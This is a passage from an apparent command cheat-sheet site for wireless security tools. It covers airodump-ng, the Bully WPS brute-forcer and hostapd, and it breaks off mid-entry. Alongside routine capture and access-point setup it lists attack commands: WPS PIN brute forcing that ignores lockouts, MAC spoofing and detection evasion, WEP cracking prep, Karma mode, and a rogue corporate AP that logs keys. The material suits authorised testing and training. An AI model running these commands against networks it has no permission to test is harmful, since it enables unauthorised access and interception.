### airodump-ng --manufacturer wlan0mon ```bash airodump-ng --manufacturer wlan0mon ``` Resolves and displays the manufacturer name from the OUI of the MAC address ### airodump-ng --uptime wlan0mon ```bash airodump-ng --uptime wlan0mon ``` Displays the uptime of Access Points based on the timestamp in beacon frames ### airodump-ng --beacons wlan0mon ```bash airodump-ng --beacons wlan0mon ``` Records all beacons to the capture file, useful for detailed analysis of AP configuration broadcasting ### airodump-ng --detect-anomaly wlan0mon ```bash airodump-ng --detect-anomaly wlan0mon ``` Attempt to detect anomalies in the network traffic (feature dependent on specific airodump versions) ## Display and Visualization Control ### airodump-ng --berlin 120 wlan0mon ```bash airodump-ng --berlin 120 wlan0mon ``` Keeps APs and clients on the screen for 120 seconds after signal loss before removing them ### airodump-ng --update 1 wlan0mon ```bash airodump-ng --update 1 wlan0mon ``` Sets the screen display update delay to 1 second for faster real-time monitoring ### airodump-ng --background 1 wlan0mon ```bash airodump-ng --background 1 wlan0mon ``` Starts airodump-ng in a mode suitable for running in the background ## Advanced Troubleshooting ### airodump-ng --ignore-negative-one wlan0mon ```bash airodump-ng --ignore-negative-one wlan0mon ``` Prevents the 'fixed channel -1' error message caused by driver mismatches ### airodump-ng --skip-columns 1 wlan0mon ```bash airodump-ng --skip-columns 1 wlan0mon ``` Skips displaying specific columns to save screen space or declutter the interface ## Red Team Workflow ### airodump-ng -c 1,6,11 --encrypt WPA -w wpa_hunt wlan0mon ```bash airodump-ng -c 1,6,11 --encrypt WPA -w wpa_hunt wlan0mon ``` Hops on common channels, filters for WPA networks, and records data to find attackable targets ## Purple Team Validation ### airodump-ng -c 36 --bssid AA:BB:CC:DD:EE:FF --wps -w audit wlan0mon ```bash airodump-ng -c 36 --bssid AA:BB:CC:DD:EE:FF --wps -w audit wlan0mon ``` Example: ```bash airodump-ng -c 36 --bssid 00:11:22:33:44:55 --wps -w internal_audit wlan0mon ``` Focused audit on a corporate 5GHz AP to verify WPS status and capture traffic for intrusion analysis ## Client Hunting ### airodump-ng --bssid AA:BB:CC:DD:EE:FF --showack wlan0mon ```bash airodump-ng --bssid AA:BB:CC:DD:EE:FF --showack wlan0mon ``` Monitors a specific AP and watches for ACK packets to detect active clients even if silent ## Hidden Network Discovery ### airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon ```bash airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon ``` Example: ```bash airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon ``` Monitors a hidden AP (BSSID known) to wait for a client association that reveals the ESSID ## Combined Filter Workflow ### airodump-ng --encrypt OPN --band a wlan0mon ```bash airodump-ng --encrypt OPN --band a wlan0mon ``` Scans the 5GHz band specifically for open/unsecured networks ## Specific Frequency Targeting ### airodump-ng --ht20 wlan0mon ```bash airodump-ng --ht20 wlan0mon ``` Sets the channel width to 20MHz (High Throughput) for specific capture requirements ### airodump-ng --ht40- wlan0mon ```bash airodump-ng --ht40- wlan0mon ``` Sets the channel width to 40MHz with the secondary channel below the primary ### airodump-ng --ht40+ wlan0mon ```bash airodump-ng --ht40+ wlan0mon ``` Sets the channel width to 40MHz with the secondary channel above the primary ## Capture File Management ### airodump-ng -w capture --file-prefix my_scan wlan0mon ```bash airodump-ng -w capture --file-prefix my_scan wlan0mon ``` Example: ```bash airodump-ng -w capture --file-prefix site_a wlan0mon ``` Manually sets the prefix for the generated capture files to organize data by site ## Real-time Monitoring ### airodump-ng --clear wlan0mon ```bash airodump-ng --clear wlan0mon ``` Clears the screen reset behavior (depends on terminal type) for cleaner updates ## Incident Response Simulation ### airodump-ng -c 1 --bssid -w evidence wlan0mon ```bash airodump-ng -c 1 --bssid -w evidence wlan0mon ``` Example: ```bash airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w rogue_evidence wlan0mon ``` Isolates a suspected rogue AP to capture all traffic for forensic evidence gathering ## Advanced Filtering ### airodump-ng --essid-regex '^(Guest|Free)' wlan0mon ```bash airodump-ng --essid-regex '^(Guest|Free)' wlan0mon ``` Uses regex to capture any network starting with 'Guest' or 'Free' to audit public facing Wi-Fi ## Long Term Monitoring ### airodump-ng --write-interval 300 -w hourly_log wlan0mon ```bash airodump-ng --write-interval 300 -w hourly_log wlan0mon ``` Writes to disk only every 5 minutes to reduce I/O load during long-duration surveillance ## Hardware Specific ### airodump-ng --cswitch 0 wlan0mon ```bash airodump-ng --cswitch 0 wlan0mon ``` Manually sets the channel switching method (0=FIFO, 1=Round Robin) for advanced card control ## Help and Debug ### airodump-ng --help ```bash airodump-ng --help ``` Displays the full help menu to verify supported flags for the installed version ## Post-Processing Prep ### airodump-ng --output-format netxml -w kismet_import wlan0mon ```bash airodump-ng --output-format netxml -w kismet_import wlan0mon ``` Generates a netxml file specifically for importing data into other tools like Kismet or databases ## Visualization ### airodump-ng --realtime-bitmap wlan0mon ```bash airodump-ng --realtime-bitmap wlan0mon ``` Shows a bitmap of received frames, useful for visualizing interference or high traffic bursts ## Full Spectrum Audit ### airodump-ng --band abg --manufacturer --wps --uptime -w site_audit wlan0mon ```bash airodump-ng --band abg --manufacturer --wps --uptime -w site_audit wlan0mon ``` Comprehensive command enabling all major informational columns and scanning all bands for a full site survey ## Stealth Monitoring ### airodump-ng --encrypt WPA --bssid --channel --output-format pcap -w stealth wlan0mon ```bash airodump-ng --encrypt WPA --bssid --channel --output-format pcap -w stealth wlan0mon ``` Example: ```bash airodump-ng --encrypt WPA --bssid 00:11:22:33:44:55 --channel 6 --output-format pcap -w stealth wlan0mon ``` Minimally invasive capture on a fixed target, writing only pcap to reduce disk noise ## Client Tracking ### airodump-ng -d AA:BB:CC:DD:EE:FF wlan0mon ```bash airodump-ng -d AA:BB:CC:DD:EE:FF wlan0mon ``` Example: ```bash airodump-ng -d 00:11:22:33:44:55 wlan0mon ``` Filter by BSSID using the -d short flag alias for rapid syntax entry ## IV Collection ### airodump-ng --ivs --write-interval 1 -w fast_crack wlan0mon ```bash airodump-ng --ivs --write-interval 1 -w fast_crack wlan0mon ``` Optimized WEP cracking setup: collecting only IVs and writing to disk every second for real-time cracking ## Targeted BSSID List ### airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon ```bash airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon ``` Used in conjunction with aireplay-ng, this confirms the target is visible before launching deauth attacks ## Complete Reset ### airodump-ng --channel 1-13 --band bg --clear wlan0mon ```bash airodump-ng --channel 1-13 --band bg --clear wlan0mon ``` Resets the view to a standard 2.4GHz sweep across all valid channels with a clear screen ## Related tools - [airmon-ng](https://terminal.rokibulroni.com/tool/wireless/airmon-ng) - [aireplay-ng](https://terminal.rokibulroni.com/tool/wireless/aireplay-ng) - [Aircrack-ng](https://terminal.rokibulroni.com/tool/wireless/aircrack-ng) # Tool: Bully > A WPS brute-force tool written in C, an alternative to Reaver with improved handling of some access points. - Category: Wireless - Commands: 50 - Page: https://terminal.rokibulroni.com/tool/wireless/bully - Homepage: https://github.com/aanarchyy/bully - Tags: Wi-Fi, WPS, brute force ## Install - apt: `sudo apt install bully` ## Basic Bully Syntax ### bully ```bash bully ``` Displays the help menu and list of available options for the tool ### bully wlan0mon ```bash bully wlan0mon ``` Starts scanning for WPS-enabled access points using the specified monitor mode interface ## Interface and Target Specification ### bully wlan0mon -b 00:11:22:33:44:55 ```bash bully wlan0mon -b 00:11:22:33:44:55 ``` Targets a specific access point by its BSSID for WPS PIN testing ### bully wlan0mon -b 00:11:22:33:44:55 -c 6 ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 6 ``` Locks the wireless card to a specific channel to improve attack stability ### bully wlan0mon -b 00:11:22:33:44:55 -e MyTargetAP ```bash bully wlan0mon -b 00:11:22:33:44:55 -e MyTargetAP ``` Specifies the ESSID of the target AP to ensure correct association ## WPS PIN Attack Workflows ### bully wlan0mon -b 00:11:22:33:44:55 -B ```bash bully wlan0mon -b 00:11:22:33:44:55 -B ``` Forces the brute force mode to exhaustively test all possible PIN combinations ### bully wlan0mon -b 00:11:22:33:44:55 -S ```bash bully wlan0mon -b 00:11:22:33:44:55 -S ``` Uses sequential PIN generation instead of randomized testing order ### bully wlan0mon -b 00:11:22:33:44:55 -p 12345670 ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 12345670 ``` Tests a specific 8-digit static PIN against the target access point ### bully wlan0mon -b 00:11:22:33:44:55 -p 1234 ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 1234 ``` Tests a specific 4-digit PIN prefix to check for partial validation ## Timing and Rate Control ### bully wlan0mon -b 00:11:22:33:44:55 -1 2 -2 10 ```bash bully wlan0mon -b 00:11:22:33:44:55 -1 2 -2 10 ``` Sets custom delay times between M5/M7 message exchanges to evade detection ### bully wlan0mon -b 00:11:22:33:44:55 -l 300 ```bash bully wlan0mon -b 00:11:22:33:44:55 -l 300 ``` Sets the lock wait time to 300 seconds when the AP reports a locked state ### bully wlan0mon -b 00:11:22:33:44:55 -L ```bash bully wlan0mon -b 00:11:22:33:44:55 -L ``` Ignores the WPS locked status reported by the AP and continues testing ### bully wlan0mon -b 00:11:22:33:44:55 -r 3 ```bash bully wlan0mon -b 00:11:22:33:44:55 -r 3 ``` Sets the number of retries for failed packets to 3 before moving on ## Output and Logging ### bully wlan0mon -b 00:11:22:33:44:55 -v 3 ```bash bully wlan0mon -b 00:11:22:33:44:55 -v 3 ``` Increases verbosity level to 3 to display detailed transaction information ### bully wlan0mon -b 00:11:22:33:44:55 -v 4 ```bash bully wlan0mon -b 00:11:22:33:44:55 -v 4 ``` Sets maximum verbosity to debug connection issues and protocol exchanges ### bully wlan0mon -b 00:11:22:33:44:55 -o scan_results.txt ```bash bully wlan0mon -b 00:11:22:33:44:55 -o scan_results.txt ``` Logs the output of the session to a specified text file for analysis ## Advanced Configuration ### bully wlan0mon -b 00:11:22:33:44:55 -F ```bash bully wlan0mon -b 00:11:22:33:44:55 -F ``` Forces the attack to proceed despite warnings or initial errors ### bully wlan0mon -b 00:11:22:33:44:55 -A ```bash bully wlan0mon -b 00:11:22:33:44:55 -A ``` Disables the random checksum calculation for testing specific non-standard APs ### bully wlan0mon -b 00:11:22:33:44:55 -C ```bash bully wlan0mon -b 00:11:22:33:44:55 -C ``` Skips the checksum digit validation when processing PINs ### bully wlan0mon -b 00:11:22:33:44:55 -d ```bash bully wlan0mon -b 00:11:22:33:44:55 -d ``` Disables signal strength checks to force attempts on weak signals ## Red Team Attack Simulation ### bully wlan0mon -b 00:11:22:33:44:55 -B -v 3 -o audit.log ```bash bully wlan0mon -b 00:11:22:33:44:55 -B -v 3 -o audit.log ``` Runs a logged brute force attack to simulate a persistent threat actor ### bully wlan0mon -b 00:11:22:33:44:55 -p 1234 -F ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 1234 -F ``` Simulates a targeted attack using a known PIN prefix with forced execution ## Purple Team Detection ### bully wlan0mon -b 00:11:22:33:44:55 -1 1 -2 1 ```bash bully wlan0mon -b 00:11:22:33:44:55 -1 1 -2 1 ``` Sends packets rapidly to test if the IPS generates a rate-limiting alert ### bully wlan0mon -b 00:11:22:33:44:55 -l 5 -r 10 ```bash bully wlan0mon -b 00:11:22:33:44:55 -l 5 -r 10 ``` Triggers rapid lockouts to verify the blue team's monitoring visibility ## Blue Team Defensive Validation ### bully wlan0mon -b 00:11:22:33:44:55 -p 00000000 ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 00000000 ``` Validates if the AP is vulnerable to default or empty PINs ### bully wlan0mon -b 00:11:22:33:44:55 -c 1 -v 3 ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 1 -v 3 ``` Monitors the AP response behavior on channel 1 with high verbosity ## Pixie Dust Workflows ### bully wlan0mon -b 00:11:22:33:44:55 -d -v 3 ```bash bully wlan0mon -b 00:11:22:33:44:55 -d -v 3 ``` Uses the disable checks flag often utilized in Pixie Dust scripts for data gathering ## Resume and Recovery ### bully wlan0mon -b 00:11:22:33:44:55 -p ```bash bully wlan0mon -b 00:11:22:33:44:55 -p ``` Example: ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 12345670 ``` Resumes a previous session by starting manually from the last tested PIN ### bully wlan0mon -b 00:11:22:33:44:55 -S -p 50000000 ```bash bully wlan0mon -b 00:11:22:33:44:55 -S -p 50000000 ``` Resumes a sequential attack starting from the halfway point of the keyspace ## Signal Handling ### bully wlan0mon -b 00:11:22:33:44:55 -5 ```bash bully wlan0mon -b 00:11:22:33:44:55 -5 ``` Uses 5GHz band specific settings if supported by the wireless card and fork ## Combined Workflows ### bully wlan0mon -b 00:11:22:33:44:55 -c 6 -v 4 -l 360 ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 6 -v 4 -l 360 ``` Combines channel locking, debug output, and long lock waits for unstable APs ### bully wlan0mon -b 00:11:22:33:44:55 -L -F -v 3 ```bash bully wlan0mon -b 00:11:22:33:44:55 -L -F -v 3 ``` Aggressive mode ignoring locks and forcing execution with detailed logs ## Automation Pipeline ### bully wlan0mon -b 00:11:22:33:44:55 -c 11 -r 2 -1 0 -2 0 ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 11 -r 2 -1 0 -2 0 ``` Zero delay configuration for high-speed automated testing environments ### timeout 300s bully wlan0mon -b 00:11:22:33:44:55 ```bash timeout 300s bully wlan0mon -b 00:11:22:33:44:55 ``` Wraps bully in a timeout command to limit execution time in scripts ## Advanced Troubleshooting ### bully wlan0mon -b 00:11:22:33:44:55 -w ```bash bully wlan0mon -b 00:11:22:33:44:55 -w ``` Detects and waits for Windows 7 registrar behavior quirks ### bully wlan0mon -b 00:11:22:33:44:55 -Z ```bash bully wlan0mon -b 00:11:22:33:44:55 -Z ``` Suppresses the use of multicast frames during the association phase ## Custom PIN Testing ### bully wlan0mon -b 00:11:22:33:44:55 -p 1234567 ```bash bully wlan0mon -b 00:11:22:33:44:55 -p 1234567 ``` Tests a 7-digit PIN trusting Bully to calculate the final checksum digit ## Performance Tuning ### bully wlan0mon -b 00:11:22:33:44:55 -1 0.5 -2 0.5 ```bash bully wlan0mon -b 00:11:22:33:44:55 -1 0.5 -2 0.5 ``` Uses sub-second delays to fine-tune packet injection rates ## Identity Obfuscation ### bully wlan0mon -b 00:11:22:33:44:55 -s 00:aa:bb:cc:dd:ee ```bash bully wlan0mon -b 00:11:22:33:44:55 -s 00:aa:bb:cc:dd:ee ``` Spoofs the source MAC address to bypass simple filters or hide identity ## Detection Evasion ### bully wlan0mon -b 00:11:22:33:44:55 -l 600 -r 1 ```bash bully wlan0mon -b 00:11:22:33:44:55 -l 600 -r 1 ``` Sets extremely long lock waits and low retries to operate stealthily ## Incident Response Simulation ### bully wlan0mon -b 00:11:22:33:44:55 -B -v 1 ```bash bully wlan0mon -b 00:11:22:33:44:55 -B -v 1 ``` Runs a low-noise brute force to test if IR teams detect subtle anomalies ### bully wlan0mon -b 00:11:22:33:44:55 -F -L -v 4 ```bash bully wlan0mon -b 00:11:22:33:44:55 -F -L -v 4 ``` Generates a noisy, aggressive attack profile for IR alert validation ## Manual Indexing ### bully wlan0mon -b 00:11:22:33:44:55 -i 2 ```bash bully wlan0mon -b 00:11:22:33:44:55 -i 2 ``` Selects a specific interface index when multiple cards are present ## Advanced Targeting ### bully wlan0mon -b 00:11:22:33:44:55 -c 6 -e TARGET_AP -B ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 6 -e TARGET_AP -B ``` Fully specified target lock ensuring no accidental adjacency attacks ## Exhaustive Testing ### bully wlan0mon -b 00:11:22:33:44:55 -S -p 00000000 -v 2 ```bash bully wlan0mon -b 00:11:22:33:44:55 -S -p 00000000 -v 2 ``` Sequential test starting from the beginning with moderate logging ## Protocol Fuzzing ### bully wlan0mon -b 00:11:22:33:44:55 -A -C -F ```bash bully wlan0mon -b 00:11:22:33:44:55 -A -C -F ``` Disables all checksums and safety checks to fuzz the AP's WPS handler ## No Monitor Check ### bully wlan0mon -b 00:11:22:33:44:55 --no-monitor-check ```bash bully wlan0mon -b 00:11:22:33:44:55 --no-monitor-check ``` Skips the check for monitor mode (supported in some forks) ## Version Check ### bully -V ```bash bully -V ``` Displays the program version number for audit reporting ## Help Display ### bully -h ```bash bully -h ``` Prints the detailed help message and usage syntax ## Full Automation ### bully wlan0mon -b 00:11:22:33:44:55 -c 1 -S -v 3 -o report.txt -l 60 -r 2 ```bash bully wlan0mon -b 00:11:22:33:44:55 -c 1 -S -v 3 -o report.txt -l 60 -r 2 ``` A complete audit command with channel lock, logging, and timing controls ## Related tools - [Reaver](https://terminal.rokibulroni.com/tool/wireless/reaver) - [airodump-ng](https://terminal.rokibulroni.com/tool/wireless/airodump-ng) # Tool: hostapd > A user-space daemon that turns a wireless card into an access point — used for test networks and rogue-AP assessments. - Category: Wireless - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/wireless/hostapd - Homepage: https://w1.fi/hostapd/ - Documentation: https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf - Tags: Wi-Fi, access point ## Install - apt: `sudo apt install hostapd` ## Basic Access Point Startup ### hostapd -h ```bash hostapd -h ``` Displays the help message with all available command-line options and syntax ### hostapd -v ```bash hostapd -v ``` Prints the current version of hostapd to verify installation and build details ### hostapd hostapd.conf ```bash hostapd hostapd.conf ``` Example: ```bash hostapd /etc/hostapd/hostapd.conf ``` Starts the access point in the foreground using a specific configuration file ### hostapd -B hostapd.conf ```bash hostapd -B hostapd.conf ``` Example: ```bash hostapd -B /etc/hostapd/hostapd.conf ``` Starts hostapd in daemon mode (background) to run as a service ### hostapd -P /run/hostapd.pid -B hostapd.conf ```bash hostapd -P /run/hostapd.pid -B hostapd.conf ``` Example: ```bash hostapd -P /var/run/hostapd.pid -B hostapd.conf ``` Runs in background and writes the process ID to a specific file for service management ## Logging and Debugging ### hostapd -d hostapd.conf ```bash hostapd -d hostapd.conf ``` Starts hostapd with verbose debugging enabled to show basic status and event messages ### hostapd -dd hostapd.conf ```bash hostapd -dd hostapd.conf ``` Enables excessive debugging to view detailed state machine transitions and frame details ### hostapd -t -d hostapd.conf ```bash hostapd -t -d hostapd.conf ``` Prepends timestamps to all debug output for timeline analysis of connection events ### hostapd -f /var/log/hostapd.log hostapd.conf ```bash hostapd -f /var/log/hostapd.log hostapd.conf ``` Redirects all log output to a specified file instead of standard output ### hostapd -K -dd hostapd.conf ```bash hostapd -K -dd hostapd.conf ``` Includes cryptographic key data in debug output (Warning: Unsafe for production, used for deep inspection) ## Configuration File Handling ### hostapd -g /var/run/hostapd/global hostapd.conf ```bash hostapd -g /var/run/hostapd/global hostapd.conf ``` Enables the global control interface for external management tools like hostapd_cli ## Open Network Workflow ### printf 'interface=wlan0\ndriver=nl80211\nssid=OpenLab\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\ndriver=nl80211\nssid=OpenLab\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate minimal open config and run ``` Creates and runs a basic Open (unencrypted) 2.4GHz access point on channel 6 ## Interface Management ### printf 'interface=wlan0\nbridge=br0\nssid=BridgedAP\nhw_mode=g\nchannel=1\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nbridge=br0\nssid=BridgedAP\nhw_mode=g\nchannel=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate bridged config and run ``` Configures the AP to bridge traffic to a wired interface (br0) for network integration ## SSID and Visibility ### printf 'interface=wlan0\nssid=HiddenLab\nignore_broadcast_ssid=1\nhw_mode=g\nchannel=11\n' > hostapd.conf && hostapd hos ```bash printf 'interface=wlan0\nssid=HiddenLab\nignore_broadcast_ssid=1\nhw_mode=g\nchannel=11\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate hidden SSID config and run ``` Creates an access point with a hidden SSID by disabling beacon SSID broadcasting ## WPA2-PSK Configuration ### printf 'interface=wlan0\nssid=WPA2-Test\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=Password123\nwpa_key_mgmt=WPA-PSK\n ```bash printf 'interface=wlan0\nssid=WPA2-Test\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=Password123\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=CCMP\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPA2-PSK config and run ``` Sets up a standard WPA2 Personal network using CCMP (AES) encryption ## WPA Mixed Mode Configuration ### printf 'interface=wlan0\nssid=LegacyMix\nwpa=3\nwpa_passphrase=LegacyPass\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP CCMP\ ```bash printf 'interface=wlan0\nssid=LegacyMix\nwpa=3\nwpa_passphrase=LegacyPass\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP CCMP\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPA1/WPA2 Mixed config and run ``` Enables mixed WPA1/WPA2 mode allowing both TKIP and CCMP ciphers (Legacy support) ## Access Control (MAC Filtering) ### printf 'interface=wlan0\nssid=MacFilterAP\nmacaddr_acl=1\naccept_mac_file=hostapd.accept\n' > hostapd.conf && echo '00:1 ```bash printf 'interface=wlan0\nssid=MacFilterAP\nmacaddr_acl=1\naccept_mac_file=hostapd.accept\n' > hostapd.conf && echo '00:11:22:33:44:55' > hostapd.accept && hostapd hostapd.conf ``` Example: ```bash Generate MAC Allow List config and run ``` Configures an Allow List (Whitelist) where only specified MAC addresses can associate ### printf 'interface=wlan0\nssid=DenyListAP\nmacaddr_acl=0\ndeny_mac_file=hostapd.deny\n' > hostapd.conf && echo 'aa:bb:cc: ```bash printf 'interface=wlan0\nssid=DenyListAP\nmacaddr_acl=0\ndeny_mac_file=hostapd.deny\n' > hostapd.conf && echo 'aa:bb:cc:dd:ee:ff' > hostapd.deny && hostapd hostapd.conf ``` Example: ```bash Generate MAC Deny List config and run ``` Configures a Deny List (Blacklist) to explicitly block specific devices from connecting ## Performance Tuning (802.11n) ### printf 'interface=wlan0\nssid=N-Mode-AP\nhw_mode=g\nchannel=6\nieee80211n=1\nht_capab=[HT40+]\n' > hostapd.conf && hosta ```bash printf 'interface=wlan0\nssid=N-Mode-AP\nhw_mode=g\nchannel=6\nieee80211n=1\nht_capab=[HT40+]\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate 802.11n HT40 config and run ``` Enables 802.11n High Throughput mode with 40MHz channel width ## Performance Tuning (802.11ac) ### printf 'interface=wlan0\nssid=AC-Mode-AP\nhw_mode=a\nchannel=36\nieee80211n=1\nieee80211ac=1\nvht_oper_chwidth=1\nvht_op ```bash printf 'interface=wlan0\nssid=AC-Mode-AP\nhw_mode=a\nchannel=36\nieee80211n=1\nieee80211ac=1\nvht_oper_chwidth=1\nvht_oper_centr_freq_seg0_idx=42\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate 802.11ac VHT80 config and run ``` Enables 802.11ac Very High Throughput mode on 5GHz with 80MHz channel width ## Performance Tuning (802.11ax) ### printf 'interface=wlan0\nssid=AX-WiFi6\nhw_mode=a\nchannel=36\nieee80211n=1\nieee80211ac=1\nieee80211ax=1\nhe_su_beamfor ```bash printf 'interface=wlan0\nssid=AX-WiFi6\nhw_mode=a\nchannel=36\nieee80211n=1\nieee80211ac=1\nieee80211ax=1\nhe_su_beamformer=1\nhe_su_beamformee=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate 802.11ax HE config and run ``` Enables 802.11ax (Wi-Fi 6) High Efficiency features including beamforming support ## Country and Regulatory ### printf 'interface=wlan0\nssid=RegDomainTest\ncountry_code=US\nieee80211d=1\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=RegDomainTest\ncountry_code=US\nieee80211d=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Country Code config and run ``` Advertises the US country code (802.11d) to clients to enforce regulatory domain constraints ## WPA3-SAE Configuration ### printf 'interface=wlan0\nssid=WPA3-SAE\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=SecurePass123\nwpa_key_mgmt=SAE\niee ```bash printf 'interface=wlan0\nssid=WPA3-SAE\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=SecurePass123\nwpa_key_mgmt=SAE\nieee80211w=2\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPA3-SAE Only config and run ``` Configures a pure WPA3 network using SAE authentication and mandatory Management Frame Protection (MFP) ## WPA3 Transition Mode ### printf 'interface=wlan0\nssid=WPA3-Transition\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=TransitionPass\nwpa_key_mgmt= ```bash printf 'interface=wlan0\nssid=WPA3-Transition\nhw_mode=g\nchannel=6\nwpa=2\nwpa_passphrase=TransitionPass\nwpa_key_mgmt=WPA-PSK SAE\nieee80211w=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPA3/WPA2 Transition config and run ``` Allows both WPA3-SAE and WPA2-PSK clients to connect with optional MFP ## OWE (Enhanced Open) ### printf 'interface=wlan0\nssid=OWE-Net\nhw_mode=g\nchannel=6\nwpa=2\nwpa_key_mgmt=OWE\nieee80211w=2\n' > hostapd.conf && ```bash printf 'interface=wlan0\nssid=OWE-Net\nhw_mode=g\nchannel=6\nwpa=2\nwpa_key_mgmt=OWE\nieee80211w=2\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate OWE config and run ``` Sets up Opportunistic Wireless Encryption (Enhanced Open) for encrypted unauthenticated connections ## WPA2-Enterprise (EAP-TLS/PEAP) ### printf 'interface=wlan0\nssid=Enterprise-AP\nwpa=2\nwpa_key_mgmt=WPA-EAP\nieee8021x=1\nauth_server_addr=127.0.0.1\nauth_ ```bash printf 'interface=wlan0\nssid=Enterprise-AP\nwpa=2\nwpa_key_mgmt=WPA-EAP\nieee8021x=1\nauth_server_addr=127.0.0.1\nauth_server_port=1812\nauth_server_shared_secret=radiusSecret\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPA2-Enterprise config and run ``` Configures WPA2-Enterprise requiring an external RADIUS server for 802.1X authentication ## Integrated EAP Server ### printf 'interface=wlan0\nssid=LocalEAP\nieee8021x=1\neap_server=1\neap_user_file=hostapd.eap_user\nca_cert=ca.pem\nserve ```bash printf 'interface=wlan0\nssid=LocalEAP\nieee8021x=1\neap_server=1\neap_user_file=hostapd.eap_user\nca_cert=ca.pem\nserver_cert=server.pem\nprivate_key=server.key\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Internal EAP Server config and run ``` Uses hostapd's built-in EAP server to handle 802.1X authentication without an external RADIUS ## RADIUS Accounting ### printf 'interface=wlan0\nssid=AcctAP\nwpa=2\nwpa_key_mgmt=WPA-EAP\nieee8021x=1\nacct_server_addr=127.0.0.1\nacct_server_ ```bash printf 'interface=wlan0\nssid=AcctAP\nwpa=2\nwpa_key_mgmt=WPA-EAP\nieee8021x=1\nacct_server_addr=127.0.0.1\nacct_server_port=1813\nacct_server_shared_secret=radiusSecret\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate RADIUS Accounting config and run ``` Enables RADIUS accounting to report session duration and data usage to an accounting server ## Client Isolation ### printf 'interface=wlan0\nssid=IsolatedGuests\nap_isolate=1\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.co ```bash printf 'interface=wlan0\nssid=IsolatedGuests\nap_isolate=1\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate AP Isolation config and run ``` Prevents associated wireless clients from communicating directly with each other (Client Isolation) ## WPS Configuration ### printf 'interface=wlan0\nssid=WPS-Enabled\nwps_state=2\neap_server=1\nconfig_methods=label display push_button keypad\n' ```bash printf 'interface=wlan0\nssid=WPS-Enabled\nwps_state=2\neap_server=1\nconfig_methods=label display push_button keypad\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WPS config and run ``` Enables Wi-Fi Protected Setup (WPS) with Push Button and PIN methods (insecure but useful for testing) ## Multiple BSSID (Virtual APs) ### printf 'interface=wlan0\nssid=PrimaryNet\nbss=wlan0_1\nssid=GuestNet\nwpa=2\nwpa_passphrase=GuestPass\n' > hostapd.conf ```bash printf 'interface=wlan0\nssid=PrimaryNet\nbss=wlan0_1\nssid=GuestNet\nwpa=2\nwpa_passphrase=GuestPass\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Multi-BSSID config and run ``` Creates multiple virtual access points (SSIDs) on a single physical wireless interface ## Beacon Interval Tuning ### printf 'interface=wlan0\nssid=FastBeacon\nbeacon_int=15\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=FastBeacon\nbeacon_int=15\nhw_mode=g\nchannel=6\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Custom Beacon Interval config and run ``` Reduces the beacon interval to 15 TU (approx 15ms) for aggressive network advertising ## Red Team Simulation (Karma/Mana) ### hostapd_cli -i wlan0 karma_enable ```bash hostapd_cli -i wlan0 karma_enable ``` Enables Karma mode (if using a patched hostapd-mana) to respond to all probe requests ## Red Team Simulation (Rogue AP) ### printf 'interface=wlan0\nssid=CorporateWifi\nwpa=2\nwpa_passphrase=password123\nlogger_stdout=-1\nlogger_stdout_level=0\ ```bash printf 'interface=wlan0\nssid=CorporateWifi\nwpa=2\nwpa_passphrase=password123\nlogger_stdout=-1\nlogger_stdout_level=0\n' > rogue.conf && hostapd -K rogue.conf ``` Example: ```bash Generate Rogue AP config and run ``` Sets up a Rogue AP mimicking a corporate network and logging full details including keys for interception ## Blue Team Defense (Management Frame Protection) ### printf 